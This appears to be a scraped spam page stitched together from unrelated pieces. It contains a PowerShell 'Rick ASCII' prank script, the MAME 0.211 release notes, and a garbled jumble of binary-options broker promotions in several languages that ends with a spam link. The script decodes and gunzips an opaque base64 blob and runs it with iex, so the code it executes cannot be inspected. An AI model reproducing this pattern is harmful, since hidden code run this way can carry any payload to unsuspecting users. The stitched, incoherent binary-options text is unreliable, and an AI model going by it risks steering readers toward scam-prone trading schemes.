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' ## Decompress the frames, which declare an array of strings $binaryData = [System.Convert]::FromBase64String($data) $ms = New-Object System.IO.MemoryStream $ms.Write($binaryData, 0, $binaryData.Length) $ms.Seek(0,0) | Out-Null $cs = New-Object System.IO.Compression.GZipStream($ms, [System.IO.Compression.CompressionMode]"Decompress") $sr = New-Object System.IO.StreamReader($cs) $structure = $sr.ReadToEnd() iex $structure ## Go through the frames, and re-scale them so that they have the ## proper aspect ratio in the console for($counter = 0; $counter -lt $frames.Count; $counter++) { $frame = $frames[$counter] $expansion = (@('$1') + (('$2','$3','$2','$3') | Get-Random -Count 4 | Sort)) -join '' $frame = (($frame -split "`t") -replace '(.)(.)(.)',$expansion) -join "`t" $frames[$counter] = $frame } ## Prepare the screen $counter = 0 $maxCounter = $frames.Count - 1 $host.UI.RawUI.BackgroundColor = "White" $host.UI.RawUI.ForegroundColor = "Black" try { $host.UI.RawUI.WindowSize = New-Object System.Management.Automation.Host.Size 83,45 } catch {} try { $host.UI.RawUI.BufferSize = New-Object System.Management.Automation.Host.Size 83,45 } catch {} try { $host.UI.RawUI.WindowSize = New-Object System.Management.Automation.Host.Size 83,45 } catch {} try { $host.UI.RawUI.BufferSize = New-Object System.Management.Automation.Host.Size 83,45 } catch {} ## Open the background song $script = @' $player = New-Object -ComObject 'MediaPlayer.MediaPlayer' $player.Open("http://www.leeholmes.com/projects/ps_html5/background.mp3") $player '@ ## ... in a background MTA-threaded PowerShell because ## the MediaPlayer COM object doesn't like STA $runspace = [RunspaceFactory]::CreateRunspace() $runspace.ApartmentState = "MTA" $bgPowerShell = [PowerShell]::Create() $bgPowerShell.Runspace = $runspace $runspace.Open() $player = @($bgPowerShell.AddScript($script).Invoke())[0] try { ## Wait for it to buffer (or error out) while($true) { Start-Sleep -m 500 if($player.HasError -or ($player.ReadyState -eq 4)) { break } } Start-Sleep -m 1600 Clear-Host $host.UI.RawUI.CursorPosition = New-Object System.Management.Automation.Host.Coordinates ` 0,([Console]::WindowHeight - 1) Write-Host -NoNewLine 'Q or ESC to Quit' ## Loop through the frames and display them [Console]::TreatControlCAsInput = $true while($true) { if([Console]::KeyAvailable) { $key = [Console]::ReadKey() if(($key.Key -eq 'Escape') -or ($key.Key -eq 'Q') -or ($key.Key -eq 'C')) { break } } if((-not $player.HasError) -and ($player.PlayState -eq 0)) { break } $host.UI.RawUI.CursorPosition = New-Object System.Management.Automation.Host.Coordinates 0,0 Write-Host (($frames[$counter] -split "`t") -join "`r`n") Start-Sleep -m 100 $counter = ($counter + 1) % $maxCounter } } finally { ## Clean up, display exit screen Clear-Host $frames[-1] -split "`t" "`n" " Happy Scripting from PowerShell..." " and Rick ASCII!" "`n`n`n" $player.Stop() $bgPowerShell.Dispose() } 
*
submitted by dominatingslash to pdq [link] [comments]

MAME 0.211

MAME 0.211

As we pass the half-way point of 2019, it’s time for MAME 0.211, with all the excitement that brings. In this release, SGI Indy and MIPS RC2030 workstations have been promoted to working. This is a major milestone in RISC workstation emulation. If you’re feeling nostalgic, why not try one of them out, and install IRIX or RISC/os, respectively? This release also includes better support for the China Education Computer Apple II derivatives, along with a preliminary software list. This opens a window to Chinese classroom technology in the late ’80s and early ’90s. Speaking of software lists, we’ve added over five hundred cleanly cracked Apple II software titles, and imported a whole lot of ZX Spectrum cassette images.
Looking away from computer emulation for a moment, Game & Watch preservation keeps progressing, with the addition of Ball (the earliest Game & Watch release) and the panorama screen version of Donkey Kong Jr. The Gaelco/Salter Pro Cycle Tele Cardioline exercise system has been promoted to working, and the Pro Stepper system has been added. System 573 MP3 audio has been greatly improved in this release, and support has been added for more Bally pinball sound boards. ClawGrip added example programs from the V.R. Technologies VT03 software development kit. Gemcrush, a rare brick breaking arcade game, has been added in this release.
There are lots of other improvements, including a fix for the fatal error when switching away from MAME in Direct3D full-screen mode. You can get the source and Windows binary packages from the download page.

MAMETesters Bugs Fixed

New working machines

New working clones

Machines promoted to working

Clones promoted to working

New machines marked as NOT_WORKING

New clones marked as NOT_WORKING

New working software list additions

Software list items promoted to working

New NOT_WORKING software list additions

Source Changes

submitted by cuavas to MAME [link] [comments]

IQ option review (Your capital might be at risk/Note: This VDO is not an investment COPIAR Y PEGAR IQ OPTION win 2% phím đàn ma quái . Lionteam 22/10/2019 The ZeusArrow - YouTube LionTeam Hướng dẫn tạo tài khoản FX Trading Markets Ngày 15 trong chuỗi ngày IQ Option :Candlestick 1 min Ep2 : ขออภัยมือใหม่กับแท่งเทียน 1 นาที Ep.2 Option Stars Broker Review 2017 - Truth About OptionStars Binary Options Trading Platform - Youtube Ngày 1 của chuỗi ngày

B4 Binary is not regulated in South Africa, and considered a moderately risky Forex platform. We do not recommend creating an account there. You could be safe on b4binary.com, but there are many other great options available for you.See our list of the top 10 Forex broker in South Africa and find a reliable platform for you investment. The brokers listed here are secure, and we know you will ... B4 Binary broker Trade Room uses the Tradologic platform, it has a huge range of assets to trade on. The binary options type offered by this platform are the Regular binary, Range, Touch Up/Down, One touch, Turbo, they also offer Forex trading. They also offer a managed account which is a major source of complaint. We strongly advise against it. Withdrawal and Deposit Method. B4Binary ... Base64 encoding schemes are commonly used when there is a need to encode binary data that needs be stored and transferred over media that are designed to deal with textual data. This is to ensure that the data remains intact without modification during transport. Base64 is used commonly in a number of applications including email via MIME, and storing complex data in XML or JSON. Advanced ... GMT Options is a revolutionary binary options trading platform that offers a wide range of unique features to make it easier for traders to manage their risk and set the terms of the trade. Traders can trade binary options on stocks, commodities, currency pairs and indices 24 hours a day, 6 days a week. GMT Options provides investors with high returns up to 75 - 85% if the option is in-the-money. Is B4Trade a Good Binary Options Broker? Read Real Reviews, By Traders, For Traders™ Add Your Rating to the Largest Forex Review Database by Forex Peace Army™ >> به وبسایت اصلی بروکر Expert Options مراجعه کنید . مقالات مرتبط: بررسی بروکر اکسپرت آپشن . لطفا توجه داشته باشید ، معامله در باینری آپشن می تواند سود و منافع مالی قابل ملاحظه ای داشته باشد ، اما در عین حال خطر از دست رفتن بخش و یا ... View Binary Options’ professional profile on LinkedIn. LinkedIn is the world's largest business network, helping professionals like Binary Options discover inside connections to recommended job ... Binary Options are a way to see the movement in value of a large and dynamic range of commodities, assets, stocks and shares or even Forex. The reason why these types of financial trades have become so hugely popular is that traders have to make just one of two possible decisions when placing them, that being yes or no decision which in Binary Options trading are known as Put or Call trades. Updated on: 6 January 2020. Written by: Jonathan Clarkson The harsh reality is that there are multiple binary options brokers that are running a scam. There are various ways in which a binary options broker could be doing this, including non-payment of legitimately earned money, fraudulently awarded bonuses and claims made by the broker that are simply not true. Binary options trading is a global trend in financial markets, and auto trading is another trend that follows. Traders from all over the world are using binary robots to maketrade binary options, but there are still many traders who are wondering if this type of trading is legal or regulated. Binary options trading is legal and regulated in many countries. There is a great number of regulators ...

[index] [11904] [12201] [4525] [23998] [2406] [20497] [20822] [20930] [24112] [27691]

IQ option review (Your capital might be at risk/Note: This VDO is not an investment

Best Binary Options Strategy 2020 - 2 Minute Strategy LIVE TRAINING! - Duration: 43:42. BLW Online Trading 74,076 views. 43:42. No confíes en las estrategias de iq option - Duration: 21:19. ... Xin chào các Anh/Chị ! Các bước để Anh/Chị có thể bắt đầu với Binary Option - Dự Đoán Tỷ Giá. B1: Các Anh/Chị hãy xem video trên nhé . B2: Đăng ký link để ... B4: Anh/Chị hãy liên lạc với Support để được hỗ trợ tạo tài khoản giao dịch. Thông tin Support: Hải Đăng : 0337.031.801 ( Zalo ) Telegram: @dang2710 Minh GKFX : 0962 ... Don’t Buy The Binary Fund, see this first…Don’t spend your money... Skip navigation Sign in. Search. Loading... Close. This video is unavailable. Watch Queue Queue. ... Be VERY careful about anyone promising you easy money with binary options, a binary options trading system, a binary options trading robot, etc. They will suck up your money. Look, I'm sorry to be ... Xin chào các Anh/Chị ! Các bước để Anh/Chị có thể bắt đầu với Binary Option - Dự Đoán Tỷ Giá. B1: Các Anh/Chị hãy xem video: http ... Xin chào các Anh/Chị ! Các bước để Anh/Chị có thể bắt đầu với Binary Option - Dự Đoán Tỷ Giá. B1: Các Anh/Chị hãy xem video trên nhé . B2: Đăng ký link để ... Binary Option Trading Using Strong Buyer And Sellers Area - Duration: 11:41. Binary & Forex Trading 8,818 views. 11:41. รูปแบบกราฟแท่งเทียน By ... Best Binary Options Strategy 2019 - 2 Min Strategy Live Session! - Duration: 13:36. BLW Online Trading 118,558 views. 13:36. Make a Living in 1 Hour a Day Trading the 3 Bar Play!! BBM 2.0 Binary Option Indicator with Power of Compounding Part - 2 - Duration: 34 minutes. 244 views; 3 months ago; 38:30. Power of Compounding 5m Strategy with BBM 2.0 Premium Indicator System ...

https://binaryoptiontrade.birlandrehy.tk